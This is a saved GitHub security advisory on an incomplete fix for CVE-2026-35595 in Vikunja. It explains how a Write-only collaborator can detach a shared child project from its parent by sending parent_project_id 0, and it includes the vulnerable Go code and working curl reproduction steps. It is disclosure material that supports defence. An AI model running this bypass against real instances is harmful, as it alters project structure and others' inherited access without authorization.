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Vikunja has an incomplete fix for CVE-2026-35595: Write-only user can detach shared project from parent hierarchy via parent_project_id=0

Historical advisory saved 24 Oct 2026 13:19:41 UTC. The publisher may have updated it since then. Latest advisory.

osv · GHSA-44v6-7fxq-vgf4

Published

## Summary The fix for CVE-2026-35595 (project re-parenting privilege escalation) only gates reparent operations when `parent_project_id > 0`. A user with Write (but not Admin) permission on a shared child project can detach it from its parent by sending `parent_project_id: 0`, bypassing the Admin requirement. This severs the recursive CTE permission inheritance chain, potentially disrupting the project hierarchy and affecting inherited access for other collaborators. ## Affected component - **Package:** go-vikunja/vikunja - **Affected versions:** v2.3.0 and later (including latest unstable v2.3.0-246-9852aff4). The fix for CVE-2026-35595 was introduced in v2.3.0 but left the detach-to-root case unpatched. Fixed in 2.4.0. - **Tested on:** Vikunja v2.3.0 (Docker image vikunja/vikunja:2.3.0) AND latest unstable (vikunja/vikunja:unstable, v2.3.0-246-9852aff4 built 2026-04-27) ## Technical detail ### Vulnerable code **File: `pkg/models/project.go` (lines 1009-1041)** ```go // GHSA-2vq4-854f-5c72 / CVE-2026-35595: the recursive permission CTE // cascades Admin from any owned ancestor, so moving a shared child // under an attacker-owned root grants Admin on the child. Require // Admin on both sides of a reparent. // // Only gate on non-zero ParentProjectID: the generic update handler // binds a fresh struct, so an omitted parent_project_id is // indistinguishable from an explicit 0. Detach-to-root is therefore // out of scope here -- a proper fix needs a pointer field. if project.ParentProjectID > 0 { // ... Admin check (lines 1019-1041) -- SKIPPED when ParentProjectID == 0 } ``` **File: `pkg/models/project_permissions.go` (line 145)** ```go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { // reparent permission check -- SKIPPED when ParentProjectID == 0 } ``` **File: `pkg/models/project.go` (line 1065)** ```go colsToUpdate := []string{ "title", "is_archived", "identifier", "hex_color", "parent_project_id", // <-- ALWAYS included, writes 0 to DB "position", } ``` ### Why it's exploitable 1. The generic web handler (`pkg/web/handler/update.go:37`) creates a fresh empty `Project{}` struct -- `ParentProjectID` defaults to Go's zero value (0). 2. When JSON body contains `"parent_project_id": 0`, the struct has `ParentProjectID == 0`. 3. `CanUpdate` at line 145: `ParentProjectID != 0` is false -- reparent check skipped -- falls through to `CanWrite` which succeeds (attacker has Write). 4. `UpdateProject` at line 1018: `ParentProjectID > 0` is false -- Admin gate skipped entirely. 5. xorm writes `parent_project_id = 0` because `"parent_project_id"` is always in `colsToUpdate` with `Cols()`. 6. The project is detached from its parent hierarchy. ### Precondition checklist - [x] Attacker has authenticated account - [x] Attacker has Write permission on a child project (via direct share or team membership) - [x] The target project has a non-zero parent_project_id (it's a child of another project) - [x] Default Vikunja configuration (no special setup needed) ### Reproduction **Prerequisites:** Two users (victim = project owner, attacker = Write-only collaborator), a parent project, and a child project shared with the attacker at Write permission. 1. Authenticate as attacker: ```bash TOKEN=$(curl -s -X POST http://localhost:3456/api/v1/login \ -H 'Content-Type: application/json' \ -d '{"username":"user_a","password":"UserAPassword1!"}' | jq -r '.token') ``` 2. Verify attacker does NOT have Admin (delete should return 403): ```bash curl -s -o /dev/null -w '%{http_code}' -X DELETE http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" # Expected: 403 ``` 3. Exploit -- detach project from parent: ```bash curl -s -X POST http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"title":"Sensitive Child Project","parent_project_id":0}' ``` 4. Verify detachment: ```bash curl -s http://localhost:3456/api/v1/projects/4 \ -H "Authorization: Bearer $TOKEN" | jq '.parent_project_id' # Returns: 0 (was: 3) ``` ### Evidence (3 independent runs) | Run | parent_project_id BEFORE | DELETE attempt (proves no Admin) | parent_project_id AFTER | Result | |-----|--------------------------|----------------------------------|-------------------------|--------| | 1 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | | 2 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | | 3 | 3 (child of project 3) | HTTP 403 Forbidden | null (detached to root) | CONFIRMED | *Note: "null (detached to root)" means `parent_project_id` was set to `0` in the database, making the project a root-level project with no parent.* ## Impact - **Unauthorized hierarchy modification:** A user with only Write permission can detach a child project from its parent, which should require Admin permission (as established by the CVE-2026-35595 fix for non-zero reparents). - **Permission inheritance disruption:** The recursive CTE permission model traverses `parent_project_id` upward. Detaching a project severs this chain, potentially causing other collaborators who inherited access through the parent to lose their permissions on the detached project. - **Organizational disruption:** The project moves from a structured hierarchy to a root-level project, breaking the owner's intended organizational structure. ## Suggested fix Use a pointer field `*int64` for `ParentProjectID` to distinguish between "field omitted" (nil) and "explicitly set to 0" (detach). The fix commit itself acknowledges this at `project.go:1017`: "a proper fix needs a pointer field." Alternatively, add a dedicated `detach` boolean field or a separate API endpoint for detaching projects, with its own Admin permission check.

Source published
28 Aug 2026 16:39:08 UTC
Source modified
2 Sep 2026 19:55:44 UTC
Saved here
24 Oct 2026 13:19:41 UTC
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GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Publisher rating · MODERATE

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